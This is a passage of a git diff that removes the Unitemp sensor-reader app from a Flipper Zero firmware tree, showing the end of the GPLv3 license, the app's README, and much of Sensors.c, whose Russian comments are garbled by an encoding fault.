- - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/applications/external/unitemp/README.md b/applications/external/unitemp/README.md deleted file mode 100644 index 2da78d2bd..000000000 --- a/applications/external/unitemp/README.md +++ /dev/null @@ -1,24 +0,0 @@ -![Flipper usage](https://user-images.githubusercontent.com/10090793/211182642-e41919c5-3091-4125-815a-2d6a77a859f6.png) -# Unitemp - Universal temperature sensor reader -[![GitHub release](https://img.shields.io/github/release/quen0n/unitemp-flipperzero?include_prereleases=&sort=semver&color=blue)](https://github.com/quen0n/unitemp-flipperzero/releases/) -[![GitHub](https://img.shields.io/github/license/quen0n/unitemp-flipperzero)](https://github.com/quen0n/unitemp-flipperzero/blob/dev/LICENSE.md) -[![Build dev](https://github.com/quen0n/unitemp-flipperzero/actions/workflows/build_dev.yml/badge.svg?branch=dev)](https://github.com/quen0n/unitemp-flipperzero/actions/workflows/build_dev.yml) -[Flipper Zero](https://flipperzero.one/) application for reading temperature, humidity and pressure sensors like a DHT11/22, DS18B20, BMP280, HTU21 and more. -## List of supported sensors -![image](https://user-images.githubusercontent.com/10090793/215605424-54b1c08c-e41b-4fb4-b966-dd959507200b.png) - -## Installation -1) Download [latest version](https://cloud.quenon.ru/index.php/s/h98rT9UnaOL4wxR/download?path=%2F&files=unitemp-latest.fap) -2) Copy `unitemp-latest.fap` to `SD card/apps/GPIO` with qFlipper or mobile application -3) Open application on your Flipper: `Applications->GPIO->Temp sensors reader` -Note: If you get the message "API version mismatch" after updating the firmware, download and install Unitemp again -## Need help? Discussions? -Join the discussion, ask a question or just send a photo of the flipper with sensors to [Discord](https://discord.com/channels/740930220399525928/1056727938747351060). [Invite link](https://discord.com/invite/flipper) -## Gratitudes -Thanks to [@Svaarich](https://github.com/Svaarich) for the UI design and to the Unleashed firmware community for sensors testing and feedbacks. - -## Some community photos -![image](https://user-images.githubusercontent.com/10090793/210120132-7ddbc937-0a6b-4472-bd1c-7fbc3ecdf2ad.png) -![image](https://user-images.githubusercontent.com/10090793/210120135-12fc5810-77ff-49db-b799-e9479e1f57a7.png) -![image](https://user-images.githubusercontent.com/10090793/210120143-a2bae3ce-4190-421f-8c4f-c7c744903bd6.png) -![image](https://user-images.githubusercontent.com/10090793/215224085-8099408e-b3de-4a0c-854e-fe4e4faa8ea3.png) diff --git a/applications/external/unitemp/Sensors.c b/applications/external/unitemp/Sensors.c deleted file mode 100644 index 33dd3fa88..000000000 --- a/applications/external/unitemp/Sensors.c +++ /dev/null @@ -1,653 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "Sensors.h" -#include - -//Порты ввода/вывода, которые не были обозначены в общем ÑпиÑке -const GpioPin SWC_10 = {.pin = LL_GPIO_PIN_14, .port = GPIOA}; -const GpioPin SIO_12 = {.pin = LL_GPIO_PIN_13, .port = GPIOA}; -const GpioPin TX_13 = {.pin = LL_GPIO_PIN_6, .port = GPIOB}; -const GpioPin RX_14 = {.pin = LL_GPIO_PIN_7, .port = GPIOB}; - -//КоличеÑтво доÑтупных портов ввода/вывода -#define GPIO_ITEMS (sizeof(GPIOList) / sizeof(GPIO)) -//КоличеÑтво интерфейÑов -#define INTERFACES_TYPES_COUNT (int)(sizeof(interfaces) / sizeof(const Interface*)) -//КоличеÑтво типов датчиков -#define SENSOR_TYPES_COUNT (int)(sizeof(sensorTypes) / sizeof(const SensorType*)) - -//Перечень доÑтуных портов ввода/вывода -static const GPIO GPIOList[] = { - {2, "2 (A7)", &gpio_ext_pa7}, - {3, "3 (A6)", &gpio_ext_pa6}, - {4, "4 (A4)", &gpio_ext_pa4}, - {5, "5 (B3)", &gpio_ext_pb3}, - {6, "6 (B2)", &gpio_ext_pb2}, - {7, "7 (C3)", &gpio_ext_pc3}, - {10, " 10(SWC) ", &SWC_10}, - {12, "12 (SIO)", &SIO_12}, - {13, "13 (TX)", &TX_13}, - {14, "14 (RX)", &RX_14}, - {15, "15 (C1)", &gpio_ext_pc1}, - {16, "16 (C0)", &gpio_ext_pc0}, - {17, "17 (1W)", &gpio_ibutton}}; - -//СпиÑок интерфейÑов, которые прикреплены к GPIO (определÑетÑÑ Ð¸Ð½Ð´ÐµÐºÑом) -//NULL - порт Ñвободен, указатель на Ð¸Ð½Ñ‚ÐµÑ€Ñ„ÐµÐ¹Ñ - порт занÑÑ‚ Ñтим интерфейÑом -static const Interface* gpio_interfaces_list[GPIO_ITEMS] = {0}; - -const Interface SINGLE_WIRE = { - .name = "Single wire", - .allocator = unitemp_singlewire_alloc, - .mem_releaser = unitemp_singlewire_free, - .updater = unitemp_singlewire_update}; -const Interface I2C = { - .name = "I2C", - .allocator = unitemp_I2C_sensor_alloc, - .mem_releaser = unitemp_I2C_sensor_free, - .updater = unitemp_I2C_sensor_update}; -const Interface ONE_WIRE = { - .name = "One wire", - .allocator = unitemp_onewire_sensor_alloc, - .mem_releaser = unitemp_onewire_sensor_free, - .updater = unitemp_onewire_sensor_update}; -const Interface SPI = { - .name = "SPI", - .allocator = unitemp_spi_sensor_alloc, - .mem_releaser = unitemp_spi_sensor_free, - .updater = unitemp_spi_sensor_update}; - -//Перечень интерфейÑов Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ -//static const Interface* interfaces[] = {&SINGLE_WIRE, &I2C, &ONE_WIRE, &SPI}; -//Перечень датчиков -static const SensorType* sensorTypes[] = {&DHT11, &DHT12_SW, &DHT20, &DHT21, &DHT22, - &Dallas, &AM2320_SW, &AM2320_I2C, &HTU21x, &AHT10, - &SHT30, &GXHT30, &LM75, &HDC1080, &BMP180, - &BMP280, &BME280, &BME680, &MAX31855, &MAX6675, - &SCD30, &SCD40}; - -const SensorType* unitemp_sensors_getTypeFromInt(uint8_t index) { - if(index > SENSOR_TYPES_COUNT) return NULL; - return sensorTypes[index]; -} - -const SensorType* unitemp_sensors_getTypeFromStr(char* str) { - UNUSED(str); - if(str == NULL) return NULL; - for(uint8_t i = 0; i < unitemp_sensors_getTypesCount(); i++) { - if(!strcmp(str, sensorTypes[i]->typename)) { - return sensorTypes[i]; - } - } - return NULL; -} - -uint8_t unitemp_sensors_getTypesCount(void) { - return SENSOR_TYPES_COUNT; -} -const SensorType** unitemp_sensors_getTypes(void) { - return sensorTypes; -} - -int unitemp_getIntFromType(const SensorType* type) { - for(int i = 0; i < SENSOR_TYPES_COUNT; i++) { - if(!strcmp(type->typename, sensorTypes[i]->typename)) { - return i; - } - } - return 255; -} -const GPIO* unitemp_gpio_getFromInt(uint8_t name) { - for(uint8_t i = 0; i < GPIO_ITEMS; i++) { - if(GPIOList[i].num == name) { - return &GPIOList[i]; - } - } - return NULL; -} - -const GPIO* unitemp_gpio_getFromIndex(uint8_t index) { - return &GPIOList[index]; -} - -uint8_t unitemp_gpio_toInt(const GPIO* gpio) { - if(gpio == NULL) return 255; - for(uint8_t i = 0; i < GPIO_ITEMS; i++) { - if(GPIOList[i].pin->pin == gpio->pin->pin && GPIOList[i].pin->port == gpio->pin->port) { - return GPIOList[i].num; - } - } - return 255; -} - -uint8_t unitemp_gpio_to_index(const GpioPin* gpio) { - if(gpio == NULL) return 255; - for(uint8_t i = 0; i < GPIO_ITEMS; i++) { - if(GPIOList[i].pin->pin == gpio->pin && GPIOList[i].pin->port == gpio->port) { - return i; - } - } - return 255; -} - -uint8_t unitemp_gpio_getAviablePortsCount(const Interface* interface, const GPIO* extraport) { - uint8_t aviable_ports_count = 0; - for(uint8_t i = 0; i < GPIO_ITEMS; i++) { - //Проверка Ð´Ð»Ñ one wire - if(interface == &ONE_WIRE) { - if(((gpio_interfaces_list[i] == NULL || gpio_interfaces_list[i] == &ONE_WIRE)) || - (unitemp_gpio_getFromIndex(i) == extraport)) { - aviable_ports_count++; - } - } - - //Проверка Ð´Ð»Ñ single wire - if(interface == &SINGLE_WIRE || interface == &SPI) { - if(gpio_interfaces_list[i] == NULL || (unitemp_gpio_getFromIndex(i) == extraport)) { - aviable_ports_count++; - } - } - - if(interface == &I2C) { - //У I2C два фикÑированых порта - return 0; - } - } - return aviable_ports_count; -} - -void unitemp_gpio_lock(const GPIO* gpio, const Interface* interface) { - uint8_t i = unitemp_gpio_to_index(gpio->pin); - if(i == 255) return; - gpio_interfaces_list[i] = interface; -} - -void unitemp_gpio_unlock(const GPIO* gpio) { - uint8_t i = unitemp_gpio_to_index(gpio->pin); - if(i == 255) return; - gpio_interfaces_list[i] = NULL; -} - -const GPIO* - unitemp_gpio_getAviablePort(const Interface* interface, uint8_t index, const GPIO* extraport) { - //Проверка Ð´Ð»Ñ I2C - if(interface == &I2C) { - if((gpio_interfaces_list[10] == NULL || gpio_interfaces_list[10] == &I2C) && - (gpio_interfaces_list[11] == NULL || gpio_interfaces_list[11] == &I2C)) { - //Возврат иÑтины - return unitemp_gpio_getFromIndex(0); - } else { - //Возврат лжи - return NULL; - } - } - if(interface == &SPI) { - if(!((gpio_interfaces_list[0] == NULL || gpio_interfaces_list[0] == &SPI) && - (gpio_interfaces_list[1] == NULL || gpio_interfaces_list[1] == &SPI) && - (gpio_interfaces_list[3] == NULL || gpio_interfaces_list[3] == &SPI))) { - return NULL; - } - } - - uint8_t aviable_index = 0; - for(uint8_t i = 0; i < GPIO_ITEMS; i++) { - //Проверка Ð´Ð»Ñ one wire - if(interface == &ONE_WIRE) { - if(((gpio_interfaces_list[i] == NULL || gpio_interfaces_list[i] == &ONE_WIRE)) || - (unitemp_gpio_getFromIndex(i) == extraport)) { - if(aviable_index == index) { - return unitemp_gpio_getFromIndex(i); - } else { - aviable_index++; - } - } - } - //Проверка Ð´Ð»Ñ single wire - if(interface == &SINGLE_WIRE || interface == &SPI) { - if(gpio_interfaces_list[i] == NULL || unitemp_gpio_getFromIndex(i) == extraport) { - if(aviable_index == index) { - return unitemp_gpio_getFromIndex(i); - } else { - aviable_index++; - } - } - } - } - - return NULL; -} - -void unitemp_sensor_delete(Sensor* sensor) { - for(uint8_t i = 0; i < app->sensors_count; i++) { - if(app->sensors[i] == sensor) { - app->sensors[i]->status = UT_SENSORSTATUS_INACTIVE; - unitemp_sensors_save(); - unitemp_sensors_reload(); - return; - } - } -} - -Sensor* unitemp_sensor_getActive(uint8_t index) { - uint8_t aviable_index = 0; - for(uint8_t i = 0; i < app->sensors_count; i++) { - if(app->sensors[i]->status != UT_SENSORSTATUS_INACTIVE) { - if(aviable_index == index) { - return app->sensors[i]; - } else { - aviable_index++; - } - } - } - return NULL; -} - -uint8_t unitemp_sensors_getCount(void) { - if(app->sensors == NULL) return 0; - return app->sensors_count; -} - -uint8_t unitemp_sensors_getActiveCount(void) { - if(app->sensors == NULL) return 0; - uint8_t counter = 0; - for(uint8_t i = 0; i < unitemp_sensors_getCount(); i++) { - if(app->sensors[i]->status != UT_SENSORSTATUS_INACTIVE) counter++; - } - return counter; -} - -void unitemp_sensors_add(Sensor* sensor) { - app->sensors = - (Sensor**)realloc(app->sensors, (unitemp_sensors_getCount() + 1) * sizeof(Sensor*)); - app->sensors[unitemp_sensors_getCount()] = sensor; - app->sensors_count++; -} - -bool unitemp_sensors_load(void) { - UNITEMP_DEBUG("Loading sensors..."); - - //Выделение памÑти на поток - app->file_stream = file_stream_alloc(app->storage); - - //ÐŸÐµÑ€ÐµÐ¼ÐµÐ½Ð½Ð°Ñ Ð¿ÑƒÑ‚Ð¸ к файлу - FuriString* filepath = furi_string_alloc(); - //СоÑтавление пути к файлу - furi_string_printf(filepath, "%s/%s", APP_PATH_FOLDER, APP_FILENAME_SENSORS); - - //Открытие потока к файлу Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ°Ð¼Ð¸ - if(!file_stream_open( - app->file_stream, furi_string_get_cstr(filepath), FSAM_READ_WRITE, FSOM_OPEN_EXISTING)) { - if(file_stream_get_error(app->file_stream) == FSE_NOT_EXIST) { - FURI_LOG_W(APP_NAME, "Missing sensors file"); - //Закрытие потока и оÑвобождение памÑти - file_stream_close(app->file_stream); - stream_free(app->file_stream); - return false; - } else { - FURI_LOG_E( - APP_NAME, - "An error occurred while loading the sensors file: %d", - file_stream_get_error(app->file_stream)); - //Закрытие потока и оÑвобождение памÑти - file_stream_close(app->file_stream); - stream_free(app->file_stream); - return false; - } - } - - //ВычиÑление размера файла - uint16_t file_size = stream_size(app->file_stream); - //ЕÑли файл пуÑтой, то: - if(file_size == (uint8_t)0) { - FURI_LOG_W(APP_NAME, "Sensors file is empty"); - //Закрытие потока и оÑвобождение памÑти - file_stream_close(app->file_stream); - stream_free(app->file_stream); - return false; - } - //Выделение памÑти под загрузку файла - uint8_t* file_buf = malloc(file_size); - //ОпуÑтошение буфера файла - memset(file_buf, 0, file_size); - //Загрузка файла - if(stream_read(app->file_stream, file_buf, file_size) != file_size) { - //Выход при ошибке Ñ‡Ñ‚ÐµÐ½Ð¸Ñ - FURI_LOG_E(APP_NAME, "Error reading sensors file"); - //Закрытие потока и оÑвобождение памÑти - file_stream_close(app->file_stream); - stream_free(app->file_stream); - free(file_buf); - return false; - } - - //Указатель на начало Ñтроки - FuriString* file = furi_string_alloc_set_str((char*)file_buf); - //Сколько байт до конца Ñтроки - size_t line_end = 0; - - while(line_end != ((size_t)-1) && line_end != (size_t)(file_size - 1)) { - //Ð˜Ð¼Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - char name[11] = {0}; - //Тип датчика - char type[11] = {0}; - //Смещение по температуре - int temp_offset = 0; - //Смещение по Ñтроке Ð´Ð»Ñ Ð¾Ñ‚Ð´ÐµÐ»ÐµÐ½Ð¸Ñ Ð°Ñ€Ð³ÑƒÐ¼ÐµÐ½Ñ‚Ð¾Ð² - int offset = 0; - //Чтение из Ñтроки - sscanf(((char*)(file_buf + line_end)), "%s %s %d %n", name, type, &temp_offset, &offset); - //Ограничение длины имени - name[10] = '\0'; - - //Замена ? на пробел - for(uint8_t i = 0; i < 10; i++) { - if(name[i] == '?') name[i] = ' '; - } - - char* args = ((char*)(file_buf + line_end + offset)); - const SensorType* stype = unitemp_sensors_getTypeFromStr(type); - - //Проверка типа датчика - if(stype != NULL && sizeof(name) > 0 && sizeof(name) <= 11) { - Sensor* sensor = - unitemp_sensor_alloc(name, unitemp_sensors_getTypeFromStr(type), args); - if(sensor != NULL) { - sensor->temp_offset = temp_offset; - unitemp_sensors_add(sensor); - } else { - FURI_LOG_E(APP_NAME, "Failed sensor (%s:%s) mem allocation", name, type); - } - } else { - FURI_LOG_E(APP_NAME, "Unsupported sensor name (%s) or sensor type (%s)", name, type); - } - //ВычиÑление конца Ñтроки - line_end = furi_string_search_char(file, '\n', line_end + 1); - } - - free(file_buf); - file_stream_close(app->file_stream); - stream_free(app->file_stream); - - FURI_LOG_I(APP_NAME, "Sensors have been successfully loaded"); - return true; -} - -bool unitemp_sensors_save(void) { - UNITEMP_DEBUG("Saving sensors..."); - - //Выделение памÑти Ð´Ð»Ñ Ð¿Ð¾Ñ‚Ð¾ÐºÐ° - app->file_stream = file_stream_alloc(app->storage); - - //ÐŸÐµÑ€ÐµÐ¼ÐµÐ½Ð½Ð°Ñ Ð¿ÑƒÑ‚Ð¸ к файлу - FuriString* filepath = furi_string_alloc(); - //СоÑтавление пути к файлу - furi_string_printf(filepath, "%s/%s", APP_PATH_FOLDER, APP_FILENAME_SENSORS); - //Создание папки плагина - storage_common_mkdir(app->storage, APP_PATH_FOLDER); - //Открытие потока - if(!file_stream_open( - app->file_stream, furi_string_get_cstr(filepath), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS)) { - FURI_LOG_E( - APP_NAME, - "An error occurred while saving the sensors file: %d", - file_stream_get_error(app->file_stream)); - //Закрытие потока и оÑвобождение памÑти - file_stream_close(app->file_stream); - stream_free(app->file_stream); - return false; - } - - //Сохранение датчиков - for(uint8_t i = 0; i < unitemp_sensors_getActiveCount(); i++) { - Sensor* sensor = unitemp_sensor_getActive(i); - //Замена пробела на ? - for(uint8_t i = 0; i < 10; i++) { - if(sensor->name[i] == ' ') sensor->name[i] = '?'; - } - - stream_write_format( - app->file_stream, - "%s %s %d ", - sensor->name, - sensor->type->typename, - sensor->temp_offset); - - if(sensor->type->interface == &SINGLE_WIRE) { - stream_write_format( - app->file_stream, "%d\n", unitemp_singlewire_sensorGetGPIO(sensor)->num); - } - if(sensor->type->interface == &SPI) { - uint8_t gpio_num = ((SPISensor*)sensor->instance)->CS_pin->num; - stream_write_format(app->file_stream, "%d\n", gpio_num); - } - - if(sensor->type->interface == &I2C) { - stream_write_format( - app->file_stream, "%X\n", ((I2CSensor*)sensor->instance)->currentI2CAdr); - } - if(sensor->type->interface == &ONE_WIRE) { - stream_write_format( - app->file_stream, - "%d %02X%02X%02X%02X%02X%02X%02X%02X\n", - ((OneWireSensor*)sensor->instance)->bus->gpio->num, - ((OneWireSensor*)sensor->instance)->deviceID[0], - ((OneWireSensor*)sensor->instance)->deviceID[1], - ((OneWireSensor*)sensor->instance)->deviceID[2], - ((OneWireSensor*)sensor->instance)->deviceID[3], - ((OneWireSensor*)sensor->instance)->deviceID[4], - ((OneWireSensor*)sensor->instance)->deviceID[5], - ((OneWireSensor*)sensor->instance)->deviceID[6], - ((OneWireSensor*)sensor->instance)->deviceID[7]); - } - } - - //Закрытие потока и оÑвобождение памÑти - file_stream_close(app->file_stream); - stream_free(app->file_stream); - - FURI_LOG_I(APP_NAME, "Sensors have been successfully saved"); - return true; -} -void unitemp_sensors_reload(void) { - unitemp_sensors_deInit(); - unitemp_sensors_free(); - - unitemp_sensors_load(); - unitemp_sensors_init(); -} - -bool unitemp_sensor_isContains(Sensor* sensor) { - for(uint8_t i = 0; i < unitemp_sensors_getCount(); i++) { - if(app->sensors[i] == sensor) return true; - } - return false; -} - -Sensor* unitemp_sensor_alloc(char* name, const SensorType* type, char* args) { - if(name == NULL || type == NULL) return NULL; - bool status = false; - //Выделение памÑти под датчик - Sensor* sensor = malloc(sizeof(Sensor)); - if(sensor == NULL) { - FURI_LOG_E(APP_NAME, "Sensor %s allocation error", name); - return false; - } - - //Выделение памÑти под Ð¸Ð¼Ñ - sensor->name = malloc(11); - if(sensor->name == NULL) { - FURI_LOG_E(APP_NAME, "Sensor %s name allocation error", name); - return false; - } - //ЗапиÑÑŒ имени датчка - strcpy(sensor->name, name); - //Тип датчика - sensor->type = type; - //Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° по умолчанию - ошибка - sensor->status = UT_SENSORSTATUS_ERROR; - //Ð’Ñ€ÐµÐ¼Ñ Ð¿Ð¾Ñледнего опроÑа - sensor->lastPollingTime = - furi_get_tick() - 10000; //чтобы первый Ð¾Ð¿Ñ€Ð¾Ñ Ð¿Ñ€Ð¾Ð¸Ð·Ð¾ÑˆÑ‘Ð» как можно раньше - - sensor->temp = -128.0f; - sensor->hum = -128.0f; - sensor->pressure = -128.0f; - sensor->temp_offset = 0; - //Выделение памÑти под инÑÑ‚Ð°Ð½Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° в завиÑимоÑти от его интерфейÑа - status = sensor->type->interface->allocator(sensor, args); - - //Выход еÑли датчик уÑпешно развёрнут - if(status) { - UNITEMP_DEBUG("Sensor %s allocated", name); - return sensor; - } - //Выход Ñ Ð¾Ñ‡Ð¸Ñткой еÑли памÑÑ‚ÑŒ Ð´Ð»Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° не была выделена - free(sensor->name); - free(sensor); - 